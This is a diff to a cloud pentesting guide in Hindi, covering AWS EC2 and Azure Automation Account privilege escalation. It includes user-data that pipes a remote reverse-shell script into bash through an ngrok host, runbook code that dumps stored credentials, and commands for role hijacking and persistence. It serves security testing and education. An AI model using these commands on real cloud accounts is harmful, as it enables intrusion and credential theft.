diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 27bc50383..592d43f0c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -**EC2 के बारे में अधिक जानकारी** के लिए देखें: +For more **info about EC2** check: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,11 +12,11 @@ ### `iam:PassRole`, `ec2:RunInstances` -एक हमलावर **एक IAM भूमिका संलग्न करते हुए एक उदाहरण बना सकता है और फिर उदाहरण तक पहुँच सकता है** ताकि IAM भूमिका क्रेडेंशियल्स को मेटाडेटा एंडपॉइंट से चुराया जा सके। +एक हमलावर **एक IAM भूमिका संलग्न करते हुए एक उदाहरण बना सकता है और फिर उदाहरण तक पहुँच सकता है** ताकि मेटाडेटा एंडपॉइंट से IAM भूमिका क्रेडेंशियल्स चुराए जा सकें। - **SSH के माध्यम से पहुँच** -एक **बनाई गई** **ssh कुंजी** (`--key-name`) का उपयोग करके एक नया उदाहरण चलाएँ और फिर इसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति की आवश्यकता हो सकती है)। +एक **बनाई गई** **ssh कुंजी** (`--key-name`) का उपयोग करके एक नया उदाहरण चलाएँ और फिर इसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति होनी चाहिए)। ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -GuradDuty के साथ सावधान रहें यदि आप IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं जो इंस्टेंस के बाहर हैं: +GuradDuty के साथ सावधान रहें यदि आप इंस्टेंस के बाहर IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -ECS सेवाओं को इस नए EC2 इंस्टेंस में **चलाने के लिए मजबूर करने** के लिए जांचें: +ECS सेवाओं को इस नए EC2 इंस्टेंस में **चलाने के लिए मजबूर करने** के लिए सीखने के लिए देखें: {{#ref}} aws-ecs-privesc.md {{#endref}} -यदि आप **नया इंस्टेंस नहीं बना सकते** लेकिन आपके पास `ecs:RegisterContainerInstance` अनुमति है, तो आप क्लस्टर के अंदर इंस्टेंस को रजिस्टर कर सकते हैं और टिप्पणी की गई हमले को अंजाम दे सकते हैं। +यदि आप **नया इंस्टेंस नहीं बना सकते** लेकिन आपके पास अनुमति `ecs:RegisterContainerInstance` है, तो आप क्लस्टर के अंदर इंस्टेंस को रजिस्टर कर सकते हैं और टिप्पणी की गई हमले को अंजाम दे सकते हैं। **संभावित प्रभाव:** कार्यों से जुड़े ECS भूमिकाओं के लिए सीधे प्रिवेस्क। ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** पिछले परिदृश्य के समान, इन अनुमतियों के साथ एक हमलावर **एक समझौता किए गए इंस्टेंस की IAM भूमिका को बदल सकता है** ताकि वह नए क्रेडेंशियल चुरा सके।\ -चूंकि एक इंस्टेंस प्रोफाइल में केवल 1 भूमिका हो सकती है, यदि इंस्टेंस प्रोफाइल **पहले से ही एक भूमिका रखता है** (सामान्य मामला), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी। +चूंकि एक इंस्टेंस प्रोफ़ाइल में केवल 1 भूमिका हो सकती है, यदि इंस्टेंस प्रोफ़ाइल **पहले से ही एक भूमिका रखती है** (सामान्य मामला), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी। ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` यदि **इंस्टेंस प्रोफ़ाइल में एक भूमिका है** और हमलावर **इसे हटा नहीं सकता**, तो एक और समाधान है। वह **एक ऐसी इंस्टेंस प्रोफ़ाइल खोज सकता है जिसमें कोई भूमिका नहीं है** या **एक नई बना सकता है** (`iam:CreateInstanceProfile`), **उस इंस्टेंस प्रोफ़ाइल में भूमिका जोड़ सकता है** (जैसा कि पहले चर्चा की गई थी), और **समझौता की गई इंस्टेंस प्रोफ़ाइल को एक समझौता की गई इंस्टेंस से जोड़ सकता है:** -- यदि इंस्टेंस **के पास कोई इंस्टेंस** प्रोफ़ाइल नहीं है (`ec2:AssociateIamInstanceProfile`) \* +- यदि इंस्टेंस **के पास कोई इंस्टेंस** प्रोफ़ाइल नहीं है (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` @@ -92,23 +92,21 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins इन अनुमतियों के साथ, एक उदाहरण से जुड़े उदाहरण प्रोफ़ाइल को बदलना संभव है, इसलिए यदि हमले ने पहले से ही एक उदाहरण तक पहुंच प्राप्त कर ली है, तो वह इससे जुड़े उदाहरण प्रोफ़ाइल भूमिकाओं के लिए क्रेडेंशियल चुराने में सक्षम होगा। -- यदि इसमें **एक उदाहरण प्रोफ़ाइल** है, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते** हैं \* +- यदि इसमें **एक उदाहरण प्रोफ़ाइल** है, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते** हैं। ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- या **प्रतिस्थापित** करें **इंस्टेंस प्रोफ़ाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`). \* -```` +- या **प्रतिस्थापित** करें **इंस्टेंस प्रोफ़ाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`)। ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` **संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क (आपको एक AWS EC2 उदाहरण को समझौता करना होगा और कुछ अतिरिक्त अनुमति या विशिष्ट उदाहरण प्रोफ़ाइल स्थिति होनी चाहिए)। ### `ec2:RequestSpotInstances`,`iam:PassRole` -एक हमलावर जिसके पास अनुमतियाँ **`ec2:RequestSpotInstances`और`iam:PassRole`** हैं, वह **एक स्पॉट उदाहरण** **अनुरोध** कर सकता है जिसमें **EC2 भूमिका संलग्न** है और **उपयोगकर्ता डेटा** में **रिवर्स शेल** है।\ +एक हमलावर जिसके पास अनुमतियाँ **`ec2:RequestSpotInstances`और`iam:PassRole`** हैं, वह **एक स्पॉट उदाहरण** **अनुरोध** कर सकता है जिसमें **EC2 भूमिका संलग्न** है और **उपयोगकर्ता डेटा** में **एक रिवर्स शेल** है।\ एक बार जब उदाहरण चलाया जाता है, तो वह **IAM भूमिका** को **चुरा** सकता है। ```bash REV=$(printf '#!/bin/bash @@ -121,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -एक हमलावर के पास **`ec2:ModifyInstanceAttribute`** है, जिससे वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए बना सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है। +एक हमलावर के पास **`ec2:ModifyInstanceAttribute`** है, जिससे वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए मजबूर कर सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है। -ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`**। +ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`** आवश्यक हैं। ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **यूजर डेटा में** **एक रिवर्स शेल** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** **जिसका उपयोग** उस **लॉन्च टेम्पलेट** द्वारा किया जा रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का उपयोग करने के लिए **कॉन्फ़िगर** किया गया है, वह **उस टेम्पलेट का उपयोग करके** **इंस्टेंस को फिर से चलाएगा** और रिवर्स शेल को निष्पादित करेगा। +एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **उपयोगकर्ता डेटा** में **rev shell** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** जो उस **लॉन्च टेम्पलेट** का **उपयोग** कर रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का **उपयोग** करने के लिए **कॉन्फ़िगर** किया गया है, वह **इंस्टेंस को फिर से चलाएगा** और उस टेम्पलेट का उपयोग करते हुए rev shell को निष्पादित करेगा। ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -178,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क। +**संभावित प्रभाव:** एक अलग EC2 भूमिका में सीधे प्रिवेस्क। ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **उपयोगकर्ता डेटा** के अंदर **rev shell** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और rev shell का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है। +एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **यूजर डेटा** के अंदर **रिवर्स शेल** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और रिवर्स शेल का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है। ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -202,11 +200,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ### `!autoscaling` -अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेजेस को बढ़ाने के लिए पर्याप्त नहीं हैं** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियाँ `iam:PassRole` और `ec2:RunInstances`** की आवश्यकता है (जो एक ज्ञात प्रिवेस्क है)। +अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेज बढ़ाने के लिए पर्याप्त नहीं है** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियाँ `iam:PassRole` और `ec2:RunInstances`** की आवश्यकता है (जो एक ज्ञात प्रिवेस्क है)। ### `ec2-instance-connect:SendSSHPublicKey` -एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSSHPublicKey`** है, वह एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेजेस को बढ़ा सकता है। +एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSSHPublicKey`** है, वह एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेज बढ़ा सकता है। ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ @@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -यह तरीका privesc के लिए इतना उपयोगी नहीं है क्योंकि इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना आवश्यक है। +इस तरीके से privesc के लिए ज्यादा उपयोगी नहीं है क्योंकि आपको इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना होगा। **संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc। ### `describe-launch-templates`,`describe-launch-template-versions` -चूंकि लॉन्च टेम्पलेट्स में संस्करणन है, **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** अनुमतियों वाला एक हमलावर इनका उपयोग संवेदनशील जानकारी, जैसे उपयोगकर्ता डेटा में मौजूद क्रेडेंशियल्स, खोजने के लिए कर सकता है। इसे पूरा करने के लिए, निम्नलिखित स्क्रिप्ट उपलब्ध लॉन्च टेम्पलेट्स के सभी संस्करणों के माध्यम से लूप करती है: +चूंकि लॉन्च टेम्पलेट्स में संस्करण होते हैं, **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** अनुमतियों वाला एक हमलावर इनका उपयोग संवेदनशील जानकारी, जैसे उपयोगकर्ता डेटा में मौजूद क्रेडेंशियल्स, खोजने के लिए कर सकता है। इसे पूरा करने के लिए, निम्नलिखित स्क्रिप्ट उपलब्ध लॉन्च टेम्पलेट्स के सभी संस्करणों के माध्यम से लूप करती है: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..366874ac7 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,239 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +संक्षेप में, ये अनुमतियाँ **Automation Account** में **Runbooks** बनाने, संशोधित करने और चलाने की अनुमति देती हैं, जिसे आप **Automation Account** के संदर्भ में **कोड निष्पादित** करने और असाइन किए गए **Managed Identities** के लिए विशेषाधिकार बढ़ाने और **Automation Account** में संग्रहीत **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** लीक करने के लिए उपयोग कर सकते हैं। + +अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** Automation Account में एक Runbook के कोड को संशोधित करने की अनुमति देती है: +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` +ध्यान दें कि पिछले स्क्रिप्ट का उपयोग **उपयोगकर्ता नाम और पासवर्ड** को **leak** करने और Automation Account में संग्रहीत **encrypted variable** के मान को प्राप्त करने के लिए किया जा सकता है। + +अनुमति **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** उपयोगकर्ता को Automation Account में एक Runbook प्रकाशित करने की अनुमति देती है ताकि परिवर्तन लागू किए जा सकें: +```bash +az automation runbook publish \ +--resource-group \ +--automation-account-name \ +--name +``` +अनुमति **`Microsoft.Automation/automationAccounts/jobs/write`** उपयोगकर्ता को Automation Account में Runbook चलाने की अनुमति देती है: +```bash +az automation runbook start --automation-account-name --resource-group --name +``` +अनुमति **`Microsoft.Automation/automationAccounts/jobs/output/read`** उपयोगकर्ता को Automation Account में एक नौकरी के आउटपुट को पढ़ने की अनुमति देती है: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` +यदि Runbooks बनाए नहीं गए हैं, या आप एक नया बनाना चाहते हैं, तो आपको इसे करने के लिए **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` और `Microsoft.Automation/automationAccounts/runbooks/write`** की आवश्यकता होगी: +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +यह अनुमति उपयोगकर्ता को **Automation Account** को उपयोगकर्ता प्रबंधित पहचान सौंपने की अनुमति देती है: +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' +``` +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +अनुमति **`Microsoft.Automation/automationAccounts/schedules/write`** के साथ, Automation Account में एक नया Schedule बनाना संभव है जो हर 15 मिनट में निष्पादित होता है (बहुत छिपा हुआ नहीं) निम्नलिखित कमांड का उपयोग करके। + +ध्यान दें कि **एक शेड्यूल के लिए न्यूनतम अंतराल 15 मिनट** है, और **न्यूनतम प्रारंभ समय 5 मिनट** भविष्य में है। +```bash +## For linux +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every minute" \ +--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 + +## Form macOS +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every 15 minutes" \ +--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 +``` +फिर, अनुमति **`Microsoft.Automation/automationAccounts/jobSchedules/write`** के साथ, एक रनबुक को शेड्यूलर असाइन करना संभव है: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"runOn": "", +"runbook": { +"name": "" +}, +"schedule": { +"name": ">" +}, +"parameters": {} +} +}' +``` +> [!TIP] +> पिछले उदाहरण में jobchedule id को **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` उदाहरण के रूप में** छोड़ा गया था, लेकिन आपको इस असाइनमेंट को बनाने के लिए एक मनमाना मान उपयोग करने की आवश्यकता होगी। + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के अंदर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है। + +ध्यान दें कि आपको **webhook URI** को टोकन के साथ इंगित करने की आवश्यकता होगी। +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2026-01-09T20:03:30.291Z", +"parameters": {}, +"runOn": null, +"runbook": { +"name": "" +}, +"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" +} +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ +-H "Content-Length: 0" +``` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` के साथ **एक Runbook के कोड को अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना। +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content 'echo "Hello World"' + +# Run the unpublished code +az rest \ +--method PUT \ +--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"parameters": {}, +"runOn": "", +"runtimeEnvironment": "PowerShell-5.1" +}' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +यह अनुमति उपयोगकर्ता को Automation Account के लिए **एक स्रोत नियंत्रण कॉन्फ़िगर** करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह Github को उदाहरण के रूप में उपयोग करता है): +```bash +az automation source-control create \ +--resource-group \ +--automation-account-name \ +--name RemoteGithub \ +--repo-url https://github.com/carlospolop/gh-runbooks.git \ +--branch main \ +--folder-path /runbooks/ \ +--publish-runbook true \ +--auto-sync \ +--source-type GitHub \ +--token-type PersonalAccessToken \ +--access-token github_pat_11AEDCVZ +``` +यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करना **संभव है कि विशेषाधिकार बढ़ाए जा सकें**। + +इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में काम करने के लिए चार स्रोत नियंत्रण के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो इसे **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में उपयोगकर्ता प्रबंधित पहचान के **क्लाइंट आईडी** को सेट करके भी कॉन्फ़िगर किया जा सकता है। + +> [!TIP] +> ध्यान दें कि एक बार स्रोत नियंत्रण का निर्माण हो जाने के बाद, इसके रिपॉजिटरी URL को बदलना संभव नहीं है। + +### कस्टम रनटाइम वातावरण + +यदि एक ऑटोमेशन अकाउंट एक कस्टम रनटाइम वातावरण का उपयोग कर रहा है, तो यह संभव है कि रनटाइम के एक कस्टम पैकेज को कुछ दुर्भावनापूर्ण कोड (जैसे **एक बैकडोर**) के साथ ओवरराइट किया जा सके। इस तरह, जब भी उस कस्टम रनटाइम का उपयोग करने वाला एक रनबुक निष्पादित होता है और कस्टम पैकेज लोड होता है, तो दुर्भावनापूर्ण कोड निष्पादित होगा। + +### राज्य कॉन्फ़िगरेशन से समझौता करना + +**पूर्ण पोस्ट देखें:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- चरण 1 — फ़ाइलें बनाएं + +**आवश्यक फ़ाइलें:** दो PowerShell स्क्रिप्ट की आवश्यकता है: +1. `reverse_shell_config.ps1`: एक इच्छित राज्य कॉन्फ़िगरेशन (DSC) फ़ाइल जो पेलोड को लाने और निष्पादित करने के लिए है। इसे [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त किया जा सकता है। +2. `push_reverse_shell_config.ps1`: VM पर कॉन्फ़िगरेशन को प्रकाशित करने के लिए एक स्क्रिप्ट, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है। + +**कस्टमाइजेशन:** इन फ़ाइलों में वेरिएबल और पैरामीटर को उपयोगकर्ता के विशिष्ट वातावरण के अनुसार अनुकूलित किया जाना चाहिए, जिसमें संसाधन नाम, फ़ाइल पथ, और सर्वर/पेलोड पहचानकर्ता शामिल हैं। + +- चरण 2 — कॉन्फ़िगरेशन फ़ाइल को ज़िप करें + +`reverse_shell_config.ps1` को एक `.zip` फ़ाइल में संकुचित किया जाता है, जिससे इसे Azure स्टोरेज अकाउंट में स्थानांतरित करने के लिए तैयार किया जा सके। +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` +- Step 3 — स्टोरेज संदर्भ सेट करें और अपलोड करें + +ज़िप किया गया कॉन्फ़िगरेशन फ़ाइल एक पूर्वनिर्धारित Azure स्टोरेज कंटेनर, azure-pentest, में Azure के 